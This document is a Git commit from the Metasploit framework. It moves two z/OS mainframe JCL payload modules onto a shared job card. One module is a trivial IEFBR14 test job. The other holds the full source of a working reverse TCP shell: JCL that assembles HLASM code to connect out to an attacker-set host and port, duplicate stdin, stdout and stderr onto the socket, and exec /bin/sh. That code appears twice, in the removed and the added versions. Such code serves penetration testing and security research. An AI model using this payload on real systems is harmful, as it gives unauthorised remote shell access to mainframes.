Updated JCL cmd payloads to use PR7007 format

PR7007 centralized JCL job card for any JCL cmd payload.  This PR simply
uses that new format for existing JCL cmd payloads.  No functionality
for these payloads was changed, added or deleted.
This commit is contained in:
bigendian smalls 2016-08-31 14:39:01 -05:00
parent 42462f03e2
commit 05278c868e
No known key found for this signature in database
GPG Key ID: 59B4F1951D086E18
2 changed files with 195 additions and 169 deletions

View File

@ -13,50 +13,62 @@ require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 150
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}
)
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}))
register_options(
[
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
],
self.class
)
register_advanced_options(
[
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
],
self.class
)
end
##
# Construct the paload
# Construct Payload
##
def generate
super + command_string
end
##
# Build the command string for JCL submission
# Setup replacement vars from options if need be
##
def command_string
"//DUMMY JOB (MFUSER),'dummy job',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"// EXEC PGM=IEFBR14\n"
jcl_jobcard +
"// EXEC PGM=IEFBR14\n"
end
end

View File

@ -14,135 +14,168 @@ require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 9001
CachedSize = 9048
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' =>
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'LHOST' => [ 0x1b29, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ]
},
'Payload' =>
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"//**************************************/\n" \
"//* Generates reverse shell */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" \
"NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket *\n" \
"***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" \
"**** load array of addr and constants ***\n" \
"******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" \
"*** call the exec function the normal way ********************\n" \
"**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
'Offsets' => {},
'Payload' => ''
}))
register_options(
[
# need these defaulted so we can manipulate them in command_string
Opt::LHOST('127.0.0.1'),
Opt::LPORT(4444),
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
], self.class
)
register_advanced_options(
[
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
],
self.class
)
end
##
# Construct Payload
##
def generate
super + command_string
end
##
# Setup replacement vars and populate payload
##
def command_string
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
end
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
lhost = lhost.unpack("H*")[0]
lport = datastore['LPORT']
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
jcl_jobcard +
"//**************************************/\n" \
"//* Generates reverse shell */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \
"//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" \
"NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket *\n" \
"***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" \
"**** load array of addr and constants ***\n" \
"******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" \
"*** call the exec function the normal way ********************\n" \
"**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
" BRC 15,@RET1 # Return to caller\n" \
"\n" \
@ -186,7 +219,7 @@ module MetasploitModule
"* # BPX1EXC Constants\n" \
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
"* # BPX1CON Constants\n" \
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
"SSTR DC X'100202#{lport}#{lhost}'\n" \
"* # BPX1EXC Arguments\n" \
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
"EXCMDL DC F'7' # len of cmd to exec\n" \
@ -231,24 +264,5 @@ module MetasploitModule
" END MAIN\n" \
"ZZ\n" \
"//*\n"
}))
end
# replace our own LPORT/LHOST
def replace_var(raw, name, offset, pack)
super
if name == 'LHOST' && datastore[name]
val = Rex::Socket.resolv_nbo(datastore[name])
val = val.unpack("H*")[0]
raw[offset, val.length] = val
return true
elsif name == 'LPORT' && datastore[name]
val = datastore[name]
val = val.to_s.to_i.to_s(16).rjust(4, '0')
raw[offset, val.length] = val
return true
else
return false
end
end
end